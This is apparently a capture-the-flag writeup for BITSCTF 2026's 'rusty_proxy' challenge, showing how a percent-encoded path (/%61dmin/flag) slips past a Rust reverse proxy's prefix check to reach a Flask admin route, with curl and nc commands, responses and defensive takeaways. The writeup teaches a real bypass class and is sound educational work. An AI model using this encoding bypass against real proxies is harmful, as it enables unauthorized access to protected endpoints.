BITSCTF 2026 — rusty_proxy Writeup

A Rust reverse proxy guards /admin with a naive prefix check. It lowercases the path but never decodes it, so a percent-encoded byte slips the request past the proxy and straight into the Flask route that returns the flag.

5 min read
ibrahimsql
819 words

BITSCTF 2026 — rusty_proxy

A web challenge built around a classic reverse-proxy mistake: the access-control check and the backend disagree about what a path actually means.

  • Event: BITSCTF 2026
  • Category: Web
  • Artifact: a Rust (tokio) reverse proxy in front of a Python Flask backend
  • Flag format: BITSCTF{...}

We are given two services. A Rust reverse proxy listens on port 80 and forwards traffic to a Flask backend on port 8080. The backend exposes the flag at /admin/flag. The proxy is supposed to stop anyone from reaching it.

1. Reading the proxy

The whole gate is one small function:

Rust
fn is_path_allowed(path: &str) -> bool {
    let normalized = path.to_lowercase();
    if normalized.starts_with("/admin") {
        return false;
    }
    true
}

The function only lowercases the path and asks whether it starts with /admin. It never percent-decodes it and never resolves dot-segments. Whatever string arrived in the request line is the string that gets tested — and, importantly, is also the string the proxy then forwards upstream unchanged:

let mut head = format!("{} {} {}\r\n", meta.method, meta.path, meta.version);

So the proxy and the backend each run their own interpretation of the same bytes. That gap is the bug.

Meanwhile the backend is plain Flask served by Cheroot:

@app.route('/admin/flag')
def vault():
    return jsonify({"flag": FLAG})

2. Baseline

Confirm the block works, and confirm the proxy is only blocking the literal prefix:

$ curl -s -i http://127.0.0.1:8188/admin/flag | head -2
HTTP/1.1 403 Forbidden
$ curl -s http://127.0.0.1:8188/api/status
{"status":"running","uptime":"operational"}

Anything that starts with /admin is rejected. Everything else flows through. The question is whether the proxy and the backend can disagree about whether a path "starts with /admin".

3. The first idea does not work

The reflex candidate is a doubled slash, //admin/flag. The proxy lowercases it, sees //admin/flag, and — because it does not start with the literal /admin — allows it:

Bash
$ curl -s --path-as-is -i http://127.0.0.1:8188//admin/flag | head -3
HTTP/1.1 400 Bad Request
Content-Length: 50
 
Absolute URI not allowed if server is not a proxy.

The proxy let it through, but the backend refused it. To Cheroot, a request line that begins //admin looks like an absolute-URI authority form, and it rejects the whole thing before routing. Dead end — but a useful one: it tells us the backend is the authority on path meaning, and we just need a representation the proxy reads as "not admin" while the backend reads as "/admin/flag".

4. The percent-encoding mismatch

a is %61. The proxy compares raw, still-encoded bytes:

Bash
$ curl -s --path-as-is -i http://127.0.0.1:8188/%61dmin/flag
HTTP/1.1 200 OK
Content-Type: application/json
Server: Cheroot/11.1.2
 
{"flag":"BITSCTF{fake_flag_for_local_testing}"}

That is the whole exploit.

  • The proxy sees the path /%61dmin/flag. Lowercased it is still /%61dmin/flag, which does not start with /admin, so the ACL passes it.
  • The proxy forwards / %61dmin/flag upstream verbatim.
  • The backend percent-decodes the path before routing: %61 becomes a, giving /admin/flag, which matches the Flask route and returns the flag JSON.
Bash
$ printf 'GET //admin/flag HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc -w3 127.0.0.1 8188 | head -c 200
HTTP/1.1 400 Bad Request
 
Absolute URI not allowed if server is not a proxy.

For contrast, dot-segment tricks do not help here — Cheroot does not collapse /./ or /../ the way a filesystem would, so /foo/../admin/flag returns a plain 404. The exploit is specifically the decode mismatch, not generic path confusion.

5. Why it works

The proxy enforces policy on the raw request target; the backend enforces routing on the decoded request target. Two layers, two canonical forms, one ACL. Percent-encoding is enough to make the strings differ.

This is the reverse-proxy flavour of a much larger family — path normalization, Unicode overlong encodings, case folding, trailing dots, %2e versus . — all variations of "the security component and the thing it protects parse the same input differently."

6. The flag

BITSCTF{fake_flag_for_local_testing}

The flag is read from the backend's FLAG environment variable, so the value above is the local test value used to reproduce the run; the real one is whatever the competition deployed into that variable.

7. Takeaways

  • Normalize before you authorize. Decode the path, resolve dot-segments, fold case — then check the ACL against the exact byte string you will forward.
  • Never let the layer that makes the decision differ from the layer that routes it. If a proxy strips or rewrites a path, it must re-run the check on the final form.
  • When a prefix check ships, test it with encodings: %61, %2f, %2e, mixed case, trailing whitespace, doubled slashes. The gap is almost always there.
  • The backend is the authority. When a bypass attempt gets rejected by the backend instead of the proxy, that is not a failed attempt — it is a hint about which parser you need to confuse.
---
Share this post:

What do you think?

React to show your appreciation

Related Posts